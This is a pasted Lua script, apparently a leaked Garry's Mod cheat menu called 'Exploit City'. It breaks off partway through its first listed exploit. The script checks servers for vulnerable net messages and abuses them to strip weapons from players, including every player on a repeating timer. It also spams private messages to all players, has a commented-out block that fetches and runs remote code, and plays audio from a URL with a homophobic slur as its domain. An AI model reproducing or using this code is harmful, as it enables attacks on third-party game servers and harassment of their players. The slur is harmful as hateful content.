Advertisement
Guest User

Untitled

a guest
Dec 14th, 2017
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 54.51 KB | None | 0 0
  1. /* LEAKED BY BREAD
  2. - Mint only uploaded it :)
  3. btw darkv1 is pure cancer */
  4. MsgC(Color(0, 240, 255), "? Exploit City ?\n")
  5. MsgC(Color(0, 200, 255), "Type exploits_open in console to open!\n")
  6. MsgC(Color(0, 200, 255), "leaked leaked leaked leaked\n")
  7. surface.PlaySound("HL1/fvox/bell.wav") -- nice playsound
  8.  
  9.  
  10. function ValidNetString( str )
  11.  
  12. local status, error = pcall( net.Start, str )
  13.  
  14. return status
  15.  
  16. end
  17.  
  18. local function playSound(url)
  19.  
  20. sound.PlayURL(url, '', function( station )
  21.  
  22. if ( IsValid( station ) ) then
  23.  
  24. station:SetPos( LocalPlayer():GetPos() )
  25. station:Play()
  26.  
  27. end
  28. end)
  29.  
  30. end
  31.  
  32. playSound("https://godhatesfags.lgbt/CYXF2.wav")
  33.  
  34.  
  35.  
  36.  
  37.  
  38. -- Overriding original DL_Answering_global so it doesnt crash you when kicking all
  39.  
  40. net.Receive("DL_Answering_global", function(_len)
  41. end)
  42.  
  43.  
  44. GRADIENT_HORIZONTAL = 0;
  45. GRADIENT_VERTICAL = 1;
  46. function draw.LinearGradient(x,y,w,h,from,to,dir,res)
  47. dir = dir or GRADIENT_HORIZONTAL;
  48. if dir == GRADIENT_HORIZONTAL then res = (res and res <= w) and res or w;
  49. elseif dir == GRADIENT_VERTICAL then res = (res and res <= h) and res or h; end
  50. for i=1,res do
  51. surface.SetDrawColor(
  52. Lerp(i/res,from.r,to.r),
  53. Lerp(i/res,from.g,to.g),
  54. Lerp(i/res,from.b,to.b),
  55. Lerp(i/res,from.a,to.a)
  56. );
  57. if dir == GRADIENT_HORIZONTAL then surface.DrawRect(x + w * (i/res), y, w/res, h );
  58. elseif dir == GRADIENT_VERTICAL then surface.DrawRect(x, y + h * (i/res), w, h/res ); end
  59. end
  60. end
  61.  
  62. function SploitText( str )
  63.  
  64. chat.AddText( Color( 0, 255, 255 ), "[EC] ", Color( 0, 200, 255), str )
  65.  
  66. end
  67.  
  68. surface.CreateFont( "customfont", {
  69. font = "Roboto",
  70. size = 21,
  71. } )
  72.  
  73. surface.CreateFont( "customfont2", {
  74. font = "Calibri",
  75. size = 15,
  76. } )
  77.  
  78. surface.CreateFont( "customfont3", {
  79. font = "Calibri",
  80. size = 24,
  81. } )
  82.  
  83.  
  84. surface.CreateFont( "closebuttonfont", {
  85. font = "Caviar Dreams",
  86. size = 21,
  87. } )
  88.  
  89.  
  90.  
  91.  
  92.  
  93.  
  94. local function SploitNotify(text)
  95.  
  96. local notify = vgui.Create( "DPanel" )
  97. notify:SetSize( 200, 50 )
  98. notify:SetPos( ScrW() - 200, -50 )
  99. notify.Paint = function(self, w, h)
  100. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  101. draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
  102. draw.SimpleText( text, "customfont3", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  103. end
  104.  
  105.  
  106. notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
  107. timer.Simple( 3, function()
  108. notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
  109. end);end)
  110.  
  111. end
  112.  
  113.  
  114.  
  115.  
  116.  
  117. --[[Weapon Stripper Menu]]--
  118.  
  119. time = 1
  120.  
  121.  
  122. function Ply(name) -- finds player name
  123. name = string.lower(name);
  124. for _,v in ipairs(player.GetHumans()) do
  125. if(string.find(string.lower(v:Name()),name,1,true) != nil) then
  126. return v;
  127. end
  128. end
  129. end
  130.  
  131. function stripPlayer(ply) -- Strip player function
  132. if ply:IsPlayer() then
  133.  
  134. for k,v in pairs(ply:GetWeapons()) do
  135.  
  136. net.Start("properties")
  137. net.WriteString( "remove" , 32 )
  138. net.WriteEntity( v )
  139. net.SendToServer()
  140. end
  141. end
  142.  
  143. end
  144. concommand.Add("removewep_crosshair", function()
  145. local xhair = LocalPlayer():GetEyeTrace().Entity
  146. stripPlayer(xhair)
  147. end)
  148.  
  149. function removeAll() -- Strips all Players
  150. for k,v in pairs(player.GetAll()) do
  151. stripPlayer(v)
  152. end
  153. end
  154.  
  155.  
  156. local f = vgui.Create( "DFrame" )
  157. f:SetTitle("Weapon Stripper")
  158. f:SetSize( 500, 500 )
  159. f:Center()
  160. f:MakePopup()
  161. f:SetVisible(false)
  162. f:ShowCloseButton(false)
  163. f.Paint = function( self, w, h )
  164. draw.RoundedBox( 5, 0, 0, w, h, Color(40, 40, 40))
  165. end
  166.  
  167. local closebutton2 = vgui.Create( "DButton", f )
  168. closebutton2:SetText( "X" )
  169. closebutton2:SetTextColor( Color( 255, 0, 0 ) )
  170. closebutton2:SetPos( f:GetWide() - 31, 0 )
  171. closebutton2:SetFont("closebuttonfont")
  172. closebutton2:SetSize( 31, 31 )
  173. closebutton2.Paint = function( self, w, h )
  174. if closebutton2:IsHovered() then
  175. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  176. else
  177. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  178. end
  179. end
  180. closebutton2.DoClick = function()
  181. f:SetVisible(false)
  182. end
  183.  
  184. local button = vgui.Create("DButton", f)
  185. button:SetText("Strip All")
  186. button:SetPos(220,40)
  187. button:SetTextColor(Color(255, 255, 255))
  188. button.DoClick = function ()
  189. removeAll()
  190. end
  191. button.Paint = function( self, w, h )
  192. draw.RoundedBox( 5, 0, 0, w, h, Color(60, 60, 60))
  193. end
  194.  
  195.  
  196. local DermaCheckboxone = vgui.Create( "DCheckBoxLabel" , f )// Create the checkbox
  197. DermaCheckboxone:SetPos( 220, 70 )// Set the position
  198. DermaCheckboxone:SetValue(false)
  199. DermaCheckboxone:SetText("Remove All Timer")
  200. function DermaCheckboxone:OnChange( val )
  201. if (val) then
  202. print("rekt all player's weapons")
  203. net.Start("properties")
  204. net.WriteString( "remove" , 32 )
  205. net.WriteEntity( player.GetAll() )
  206. net.SendToServer()
  207. timer.Create( "removealltimer", time, 0, function()
  208. print("rekt all player's weapons")
  209. net.Start("properties")
  210. net.WriteString( "remove" , 32 )
  211. net.WriteEntity( player.GetAll() )
  212. net.SendToServer()
  213. end)
  214. else
  215. timer.Remove("removealltimer")
  216. end
  217. end
  218.  
  219. local TimeSlider = vgui.Create( "DNumSlider", f )
  220. TimeSlider:SetPos( 220, 90 ) // Set the position
  221. TimeSlider:SetSize( 200, 15 ) // Set the size
  222. TimeSlider:SetText( "Time Interval" ) // Set the text above the slider
  223. TimeSlider:SetMin( .1 ) // Set the minimum number you can slide to
  224. TimeSlider:SetMax( 7.5 ) // Set the maximum number you can slide to
  225. TimeSlider:SetValue( 1 )
  226. TimeSlider:SetDecimals( 1 ) // Decimal places - zero for whole number
  227. TimeSlider.OnValueChanged = function( panel, value )
  228. time = math.Round(value, 1)
  229. if DermaCheckboxone:GetChecked() == 1 then
  230. timer.Remove("removealltimer")
  231. timer.Create( "removealltimer", time, 0, function()
  232. print("rekt")
  233. net.Start("properties")
  234. net.WriteString( "remove" , 32 )
  235. net.WriteEntity( player.GetAll() )
  236. net.SendToServer()
  237. end)
  238. end
  239. end
  240.  
  241.  
  242. local AppList = vgui.Create( "DListView", f)
  243. AppList:SetSize(200,100)
  244. AppList:Dock( LEFT )
  245. AppList:SetMultiSelect( false )
  246. AppList:AddColumn( "Name" )
  247. for k, v in pairs(player.GetAll()) do
  248. AppList:AddLine(v:Name())
  249. end
  250.  
  251. AppList.OnRowSelected = function( lst, index, pnl )
  252. --print( "Selected " .. pnl:GetColumnText( 1 ) .. " at index " .. index )
  253. ply = Ply(pnl:GetColumnText( 1 ))
  254. print(pnl:GetColumnText( 1 ) .. " rekt")
  255. stripPlayer(ply)
  256.  
  257. end
  258.  
  259.  
  260. concommand.Add("menu",menu)
  261. concommand.Add("strip",stripPlayer)
  262. function removeWeapons()
  263.  
  264. local Target = LocalPlayer():GetEyeTrace().Entity
  265.  
  266. if Target:IsPlayer() then
  267. for x,y in pairs(Target:GetWeapons()) do
  268.  
  269. net.Start("properties")
  270. net.WriteString( "remove" , 32 )
  271. net.WriteEntity( y )
  272. net.SendToServer()
  273. end
  274.  
  275. end
  276.  
  277. end
  278.  
  279. --[[End of Weapon Stripper]]--
  280.  
  281. local wMain = ScrW() / 3
  282. local hMain = ScrH() / 2.8
  283. totalSploits = 0
  284.  
  285.  
  286. local Main = vgui.Create( "DFrame" )
  287. Main:SetTitle("")
  288. Main:SetSize( wMain, hMain )
  289. Main:SetPos( ScrW() / 2 - Main:GetWide() / 2, ScrH())
  290. Main:SetMouseInputEnabled(true)
  291. Main:SetKeyBoardInputEnabled(true)
  292. Main:SetDraggable(false)
  293. Main:SetVisible(false)
  294. Main:ShowCloseButton(false)
  295. Main.Paint = function( self, w, h )
  296. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 240 ) )
  297. draw.LinearGradient( 0, 0, w, 31, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  298. --draw.RoundedBox( 0, 0, 0, w, 31, Color( 20, 20, 20, 255 ) )
  299. surface.SetDrawColor( 0, 0, 0, 255)
  300. surface.DrawOutlinedRect( 0, 0, w, h )
  301. draw.SimpleText( "Exploit City", "customfont", Main:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  302. draw.SimpleText( totalSploits .. "/36", "customfont", 6, 6, Color(255, 255, 255), TEXT_ALIGN_LEFT )
  303. end
  304.  
  305.  
  306.  
  307. local closebutton = vgui.Create( "DButton", Main )
  308. closebutton:SetText( "X" )
  309. closebutton:SetTextColor( Color( 255, 0, 0 ) )
  310. closebutton:SetPos( Main:GetWide() - 31, 0 )
  311. closebutton:SetFont("closebuttonfont")
  312. closebutton:SetSize( 31, 31 )
  313. closebutton.Paint = function( self, w, h )
  314. if closebutton:IsHovered() then
  315. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  316. else
  317. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  318. end
  319. end
  320.  
  321. local weaponbutton = vgui.Create( "DButton", Main )
  322. weaponbutton:SetText( "Weapon Stripper" )
  323. weaponbutton:SetTextColor( Color( 255, 255, 255 ) )
  324. weaponbutton:SetSize( 31 * 3.5, 31 )
  325. weaponbutton:SetPos( Main:GetWide() - 31 * 4.5, 0 )
  326. weaponbutton:SetFont("customfont2")
  327. weaponbutton.Paint = function( self, w, h )
  328. if weaponbutton:IsHovered() then
  329. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  330. else
  331. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  332. end
  333. end
  334. weaponbutton.DoClick = function()
  335. f:SetVisible(true)
  336. end
  337.  
  338. --[[Crosshair Changer Menu]]--
  339.  
  340. --local ChosenColor = Color(255, 255, 255, 255)
  341. --local ChosenColor2 = Color(255, 255, 255, 255)
  342. gap = 0
  343. width = 1
  344. size = 10
  345.  
  346. hook.Remove("HUDPaint", "Crosshair")
  347.  
  348.  
  349. local CrosshairChanger = vgui.Create( "DFrame" )
  350. CrosshairChanger:SetTitle( "Crosshair Customizer" )
  351. CrosshairChanger:SetSize( 300, 300 )
  352. CrosshairChanger:Center()
  353. CrosshairChanger:MakePopup()
  354. CrosshairChanger:SetPos(340,347)
  355. CrosshairChanger:ShowCloseButton(false)
  356. CrosshairChanger:SetVisible(false)
  357. CrosshairChanger.Paint = function( self, w, h )
  358. draw.RoundedBox( 0, 0, 0, w, h, Color( 40, 40, 40, 255 ) )
  359. end
  360.  
  361. local closeButton = vgui.Create( "DButton", CrosshairChanger )
  362. closeButton:SetText( "X" )
  363. closeButton:SetTextColor( Color( 255, 0, 0 ) )
  364. closeButton:SetPos( CrosshairChanger:GetWide() - 20, 0 )
  365. closeButton:SetSize( 20, 20 )
  366. closeButton.Paint = function( self, w, h )
  367. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  368. end
  369. closeButton.DoClick = function()
  370. CrosshairChanger:SetVisible(false)
  371. end
  372.  
  373. local SizeSlider = vgui.Create( "DNumSlider", CrosshairChanger )
  374. SizeSlider:SetPos( 10, 150 ) // Set the position
  375. SizeSlider:SetSize( 200, 15 ) // Set the size
  376. SizeSlider:SetText( "Size" ) // Set the text above the slider
  377. SizeSlider:SetMin( 1 ) // Set the minimum number you can slide to
  378. SizeSlider:SetMax( 100 ) // Set the maximum number you can slide to
  379. SizeSlider:SetValue( size )
  380. SizeSlider:SetDecimals( 0 ) // Decimal places - zero for whole number
  381. SizeSlider.OnValueChanged = function( panel, value )
  382. size = math.Round(value)
  383. end
  384.  
  385. local GapSizeSlider = vgui.Create( "DNumSlider", CrosshairChanger )
  386. GapSizeSlider:SetPos( 10, 165 ) // Set the position
  387. GapSizeSlider:SetSize( 200, 15 ) // Set the size
  388. GapSizeSlider:SetText( "Gap Size" ) // Set the text above the slider
  389. GapSizeSlider:SetMin( 0 ) // Set the minimum number you can slide to
  390. GapSizeSlider:SetMax( 100 ) // Set the maximum number you can slide to
  391. GapSizeSlider:SetValue( gap )
  392. GapSizeSlider:SetDecimals( 0 ) // Decimal places - zero for whole number
  393. GapSizeSlider.OnValueChanged = function( panel, value )
  394. gap = math.Round(value)
  395. end
  396.  
  397. local WidthSlider = vgui.Create( "DNumSlider", CrosshairChanger )
  398. WidthSlider:SetPos( 10, 180 ) // Set the position
  399. WidthSlider:SetSize( 200, 15 ) // Set the size
  400. WidthSlider:SetText( "Width" ) // Set the text above the slider
  401. WidthSlider:SetMin( 1 ) // Set the minimum number you can slide to
  402. WidthSlider:SetMax( 200 ) // Set the maximum number you can slide to
  403. WidthSlider:SetValue( width )
  404. WidthSlider:SetDecimals( 0 ) // Decimal places - zero for whole number
  405. WidthSlider.OnValueChanged = function( panel, value )
  406. width = math.Round(value)
  407. end
  408.  
  409.  
  410.  
  411.  
  412. local DermaCheckboxone = vgui.Create( "DCheckBoxLabel" , CrosshairChanger )// Create the checkbox
  413. DermaCheckboxone:SetPos( 5, 50 )// Set the position
  414. DermaCheckboxone:SetValue(false)
  415. DermaCheckboxone:SetText("Enable Crosshair")
  416.  
  417. /*
  418. local Text = vgui.Create( "DLabel", CrosshairChanger )
  419. Text:SetPos( 25, 50 )
  420. Text:SetSize( 100, 15)
  421. Text:SetText( "Enable Crosshair" )
  422. */
  423. /*
  424. if DermaCheckboxone:GetChecked() == false then
  425. print("Not checked")
  426. end
  427. */
  428.  
  429. local DermaCheckboxtwo = vgui.Create( "DCheckBoxLabel" , CrosshairChanger )// Create the checkbox
  430. DermaCheckboxtwo:SetPos( 5, 70 )// Set the position
  431. DermaCheckboxtwo:SetValue(false)
  432. DermaCheckboxtwo:SetText("Rainbow Crosshair")
  433. /*
  434. local Text = vgui.Create( "DLabel", CrosshairChanger )
  435. Text:SetPos( 25, 70 )
  436. Text:SetSize( 100, 15)
  437. Text:SetText( "Rainbow Crosshair" )
  438. */
  439.  
  440. local outline = vgui.Create( "DCheckBoxLabel" , CrosshairChanger )// Create the checkbox
  441. outline:SetPos( 5, 90 )// Set the position
  442. outline:SetValue(false)
  443. outline:SetText("Outline")
  444.  
  445. local ChangeColor = vgui.Create( "DButton", CrosshairChanger )
  446. ChangeColor:SetText( "Change Color" )
  447. ChangeColor:SetTextColor( Color( 255, 255, 255 ) )
  448. ChangeColor:SetPos( CrosshairChanger:GetWide() / 2 - 100 / 2, 110 )
  449. ChangeColor:SetSize( 100, 30 )
  450. ChangeColor.Paint = function( self, w, h )
  451. draw.RoundedBox( 0, 0, 0, w, h, Color( 41, 128, 185, 255 ) ) -- Draw a blue button
  452. end
  453. ChangeColor.DoClick = function()
  454. --Start creating color changer menu
  455.  
  456. local Memes = vgui.Create( "DFrame" )
  457. Memes:SetTitle( "Color Changer" )
  458. Memes:SetSize( 300, 300 )
  459. Memes:Center()
  460. Memes:MakePopup()
  461. Memes:ShowCloseButton(false)
  462. Memes.Paint = function( self, w, h )
  463. draw.RoundedBox( 0, 0, 0, w, h, Color( 40, 40, 40, 255 ) )
  464. end
  465.  
  466. local closeButton = vgui.Create( "DButton", Memes )
  467. closeButton:SetText( "X" )
  468. closeButton:SetTextColor( Color( 255, 0, 0 ) )
  469. closeButton:SetPos( CrosshairChanger:GetWide() - 20, 0 )
  470. closeButton:SetSize( 20, 20 )
  471. closeButton.Paint = function( self, w, h )
  472. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  473. end
  474. closeButton.DoClick = function()
  475. Memes:SetVisible(false)
  476. end
  477.  
  478.  
  479.  
  480. local ColorPicker = vgui.Create( "DColorMixer", Memes )
  481. ColorPicker:SetSize( 200, 200 )
  482. ColorPicker:SetPos( 50, 50 )
  483. ColorPicker:SetPalette( true )
  484. ColorPicker:SetAlphaBar( false )
  485. ColorPicker:SetWangs( true )
  486. ColorPicker:SetColor( Color( 255, 255, 255 ) )
  487.  
  488. local ConfirmColor = vgui.Create( "DButton", Memes )
  489. ConfirmColor:SetText( "Pick Color" )
  490. ConfirmColor:SetSize( 90, 30 )
  491. ConfirmColor:SetPos( 100, Memes:GetTall() - 40 )
  492. ConfirmColor:SetTextColor(Color (255, 255, 255))
  493. ConfirmColor.Paint = function( self, w, h )
  494. draw.RoundedBox( 0, 0, 0, w, h, Color( 41, 128, 185, 255 ) ) -- Draw a blue button
  495. ConfirmColor.DoClick = function()
  496. ChosenColor = ColorPicker:GetColor() -- Grabs the red, green, blue, and alpha values as a Color object
  497. ChosenColor2 = ColorPicker:GetColor()
  498. end
  499. end
  500. end
  501.  
  502.  
  503. hook.Add( "HUDPaint", "Crosshair", function()
  504. if DermaCheckboxone:GetChecked() == true then
  505.  
  506.  
  507. if DermaCheckboxtwo:GetChecked() == true then
  508. ChosenColor = HSVToColor(RealTime()*120%360,1,1)
  509. else if ChosenColor2 != nil then
  510. ChosenColor = ChosenColor2
  511. else
  512. ChosenColor = Color(255, 255, 255, 255)
  513. end
  514. end
  515.  
  516. --draw.RoundedBox( 0, ScrW() / 2 - 1, ScrH() / 2, 5, 5, ChosenColor )
  517.  
  518. /*
  519. surface.DrawCircle( ScrW() / 2, ScrH() / 2, size - 1, 0, 0, 0, 255)
  520. surface.DrawCircle( ScrW() / 2, ScrH() / 2, size + 1, 0, 0, 0, 255)
  521. surface.DrawCircle( ScrW() / 2, ScrH() / 2, size, ChosenColor)
  522. */
  523. surface.SetDrawColor(0, 0, 0, 255)
  524. if outline:GetChecked() == true then
  525. width = width + 2
  526. surface.DrawOutlinedRect( ScrW() / 2 - width / 2, ScrH() / 2 + gap - 1, width, size + 2)
  527. surface.DrawOutlinedRect( ScrW() / 2 - width / 2, ScrH() / 2 - gap - size, width, size + 2)
  528.  
  529. surface.DrawOutlinedRect( ScrW() / 2 + gap - 2, ScrH() / 2 - width / 2 + 1, size + 2, width)
  530. surface.DrawOutlinedRect( ScrW() / 2 - gap - size - 1, ScrH() / 2 - width / 2 + 1, size + 2, width)
  531. width = width - 2
  532. end
  533.  
  534.  
  535.  
  536.  
  537. surface.SetDrawColor( ChosenColor )
  538. surface.DrawRect( ScrW() / 2 - width / 2, ScrH() / 2 + gap, width, size)
  539. surface.DrawRect( ScrW() / 2 - width / 2, ScrH() / 2 - gap - size + 1, width, size)
  540.  
  541. surface.DrawRect( ScrW() / 2 + gap - 1, ScrH() / 2 - width / 2 + 1, size, width)
  542. surface.DrawRect( ScrW() / 2 - gap - size, ScrH() / 2 - width / 2 + 1, size, width)
  543.  
  544.  
  545. end
  546. end)
  547.  
  548.  
  549. local function showcrosshairmenu()
  550. CrosshairChanger:SetVisible(true)
  551. end
  552.  
  553. --[[End of Crosshair Changer]]--
  554.  
  555. local crosshairbutton = vgui.Create( "DButton", Main )
  556. crosshairbutton:SetText( "Crosshair Changer" )
  557. crosshairbutton:SetTextColor( Color( 255, 255, 255 ) )
  558. crosshairbutton:SetSize( 31 * 3.5, 31 )
  559. crosshairbutton:SetPos( Main:GetWide() - 55 * 4.5, 0 )
  560. crosshairbutton:SetFont("customfont2")
  561. crosshairbutton.Paint = function( self, w, h )
  562. if crosshairbutton:IsHovered() then
  563. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  564. else
  565. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  566. end
  567. end
  568. crosshairbutton.DoClick = function()
  569. CrosshairChanger:SetVisible(true)
  570. end
  571.  
  572. local tabs = vgui.Create( "DPropertySheet", Main )
  573. tabs:Dock( FILL )
  574. tabs:DockPadding( 5, 5, 0, 0)
  575. tabs.Paint = function (self, w, h)
  576. for k, v in pairs(tabs.Items) do
  577. if (!v.Tab) then continue end
  578.  
  579. v.Tab.Paint = function(self,w,h)
  580. draw.LinearGradient( 0, 0, w, h, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  581. end
  582. end
  583. end
  584.  
  585. local exploitsPanel = vgui.Create( "DPanel", tabs )
  586. exploitsPanel.Paint = function( self, w, h )
  587. --draw.LinearGradient( 0, 0, w, h, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  588. draw.RoundedBox(0, 0, 0, w, h, Color(40,40,40))
  589. end
  590. tabs:AddSheet( "Exploits", exploitsPanel )
  591.  
  592. local toolsPanel = vgui.Create( "DPanel", tabs )
  593. toolsPanel.Paint = function( self, w, h )
  594. draw.RoundedBox(0, 0, 0, w, h, Color(40,40,40))
  595. end
  596. tabs:AddSheet( "Tools", toolsPanel )
  597.  
  598. local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploitsPanel )
  599. exploitsScrollPanel:Dock( FILL )
  600.  
  601. local toolsScrollPanel = vgui.Create( "DScrollPanel", toolsPanel )
  602. toolsScrollPanel:Dock( FILL )
  603.  
  604. --[[ FUNCTIONS ]]
  605.  
  606. function addExploit(id, text, desc, func)
  607. local id2 = id .. "."
  608. local name = text
  609. totalSploits = 1 + totalSploits
  610.  
  611. local id = vgui.Create( "DButton", exploitsScrollPanel )
  612. id:SetText( name )
  613. id:SetTextColor( Color( 200, 200, 200 ) )
  614. id:SetFont("customfont")
  615. id:Dock( TOP )
  616. id:DockMargin( 2, 10, 2, -5 )
  617. id:DockPadding( 2, 25, 2, 50 )
  618. id.DoClick = func
  619.  
  620.  
  621. id.Paint = function( self, w, h )
  622. if id:IsHovered() then
  623. draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
  624. draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
  625. else
  626. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  627. end
  628. surface.SetDrawColor( 0, 0, 0, 255)
  629. surface.DrawOutlinedRect( 0, 0, w, h )
  630. end
  631. end
  632.  
  633. function addTool(id, text, desc, func)
  634. local id2 = id .. "."
  635. local name = text
  636.  
  637. local id = vgui.Create( "DButton", toolsScrollPanel )
  638. id:SetText( name )
  639. id:SetTextColor( Color( 200, 200, 200 ) )
  640. id:SetFont("customfont")
  641. id:Dock( TOP )
  642. id:DockMargin( 2, 10, 2, -5 )
  643. id:DockPadding( 2, 25, 2, 50 )
  644. id.DoClick = func
  645.  
  646.  
  647. id.Paint = function( self, w, h )
  648. if id:IsHovered() then
  649. draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
  650. draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
  651. else
  652. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  653. end
  654. surface.SetDrawColor( 0, 0, 0, 255)
  655. surface.DrawOutlinedRect( 0, 0, w, h )
  656. end
  657. end
  658.  
  659. function addServer(id, text, desc, ip)
  660. local id2 = id .. "."
  661. local name = text
  662.  
  663. local id = vgui.Create( "DButton", serversScrollPanel )
  664. id:SetText( name )
  665. id:SetTextColor( Color( 200, 200, 200 ) )
  666. id:SetFont("customfont")
  667. id:Dock( TOP )
  668. id:DockMargin( 2, 10, 2, -5 )
  669. id:DockPadding( 2, 25, 2, 50 )
  670. id.DoClick = function()
  671. LocalPlayer():ConCommand("connect "..ip)
  672. end
  673.  
  674.  
  675. id.Paint = function( self, w, h )
  676. if id:IsHovered() then
  677. draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
  678. draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
  679. else
  680. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  681. end
  682. surface.SetDrawColor( 0, 0, 0, 255)
  683. surface.DrawOutlinedRect( 0, 0, w, h )
  684. end
  685. end
  686.  
  687. function broadcast( str )
  688.  
  689. if( str != nil ) then
  690.  
  691. SploitText("Beginning to broadcast message: " .. str)
  692.  
  693. else
  694.  
  695. SploitText("Message is nil, enter a valid string!")
  696.  
  697. end
  698.  
  699. for k,v in pairs( player.GetAll() ) do
  700.  
  701. if ( v != LocalPlayer() ) then
  702.  
  703. RunConsoleCommand( "ulx", "psay", v:Nick(), str )
  704.  
  705. end
  706.  
  707. end
  708.  
  709. end
  710.  
  711.  
  712. hook.Add("Think", "RGBSTF", function()
  713. local rainbowC = HSVToColor( CurTime() % 6 * 60, 1, 1 )
  714. LocalPlayer():SetWeaponColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
  715. LocalPlayer():SetPlayerColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
  716. end)
  717.  
  718.  
  719. --[[ SERVERS ]]--
  720. /*
  721.  
  722. http.Fetch("https://itzvoltz.xyz/ec/serverlist.lua", function( ret )
  723.  
  724. RunString( ret )
  725.  
  726. end)
  727.  
  728.  
  729.  
  730. -- [[ Tools ]]
  731.  
  732. -- [[ Server List ]]
  733.  
  734. addTool("serverList", "Server List", "Opens a menu with exploitable servers", function()
  735. LocalPlayer():ConCommand("exploitable_servers")
  736. end)
  737.  
  738. */
  739.  
  740. --[[ ULX PSAY BROADCASTER ]]
  741. if ulx then
  742. addTool("pSayBroadcaster", "ULX PSAY Broadcast", "PM's every player on the server", function ()
  743.  
  744. --[[ Vars ]]
  745.  
  746. local wPsay = ScrW() / 5
  747. local hPsay = ScrH() / 10
  748.  
  749. --[[ Menu ]]
  750.  
  751. local pSayMain = vgui.Create( "DFrame" )
  752. pSayMain:SetTitle("")
  753. pSayMain:SetSize( wPsay, hPsay )
  754. pSayMain:SetPos(50, ScrH() / 2)
  755. pSayMain:SetMouseInputEnabled(true)
  756. pSayMain:SetKeyBoardInputEnabled(true)
  757. pSayMain:ShowCloseButton(false)
  758. pSayMain:MakePopup()
  759. pSayMain.Paint = function( self, w, h )
  760. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  761. draw.LinearGradient( 0, 0, w, 31, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  762. surface.SetDrawColor( 0, 0, 0, 255)
  763. surface.DrawOutlinedRect( 0, 0, w, h )
  764. draw.SimpleText( "PM Broadcaster", "customfont", w / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  765. end
  766.  
  767.  
  768.  
  769. local psayClose = vgui.Create( "DButton", pSayMain )
  770. psayClose:SetText( "X" )
  771. psayClose:SetTextColor( Color( 255, 0, 0 ) )
  772. psayClose:SetPos( pSayMain:GetWide() - 31, 0 )
  773. psayClose:SetFont("closebuttonfont")
  774. psayClose:SetSize( 31, 31 )
  775. psayClose.Paint = function( self, w, h )
  776. if psayClose:IsHovered() then
  777. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  778. else
  779. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  780. end
  781. end
  782.  
  783. psayClose.DoClick = function()
  784. pSayMain:Remove()
  785. end
  786.  
  787. local psayInput = vgui.Create( "DTextEntry", pSayMain )
  788. psayInput:SetPos( 25, 40 )
  789. psayInput:SetSize( pSayMain:GetWide() / 2 , 25 )
  790. psayInput:SetText( "BroadcastMSG" )
  791. psayInput.OnEnter = function( self )
  792. chat.AddText( self:GetValue() )
  793. end
  794.  
  795. local sendBroadCast = vgui.Create( "DButton", pSayMain )
  796. sendBroadCast:SetText( "Broadcast" )
  797. sendBroadCast:SetTextColor( Color( 255, 255, 255 ) )
  798. sendBroadCast:SetPos( 220, 40 )
  799. sendBroadCast:SetFont("customfont")
  800. sendBroadCast:SetSize( 90, 25 )
  801. sendBroadCast.Paint = function( self, w, h )
  802. if sendBroadCast:IsHovered() then
  803. draw.RoundedBox( 0, 0, 0, w, h, Color( 40, 40, 40, 255 ) )
  804. else
  805. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  806. end
  807. end
  808.  
  809. sendBroadCast.DoClick = function()
  810. broadcast( psayInput:GetValue() )
  811.  
  812. end
  813.  
  814.  
  815.  
  816. end)
  817. end
  818.  
  819.  
  820. --[[ Exploits ]]--
  821.  
  822.  
  823.  
  824. local status = ValidNetString("CraftSomething")
  825. if (status) then
  826. SploitText("Found exploitable net message: CraftSomething")
  827. addExploit( "1", "Give Weapons", "Gives you any weapon of your choice", function()
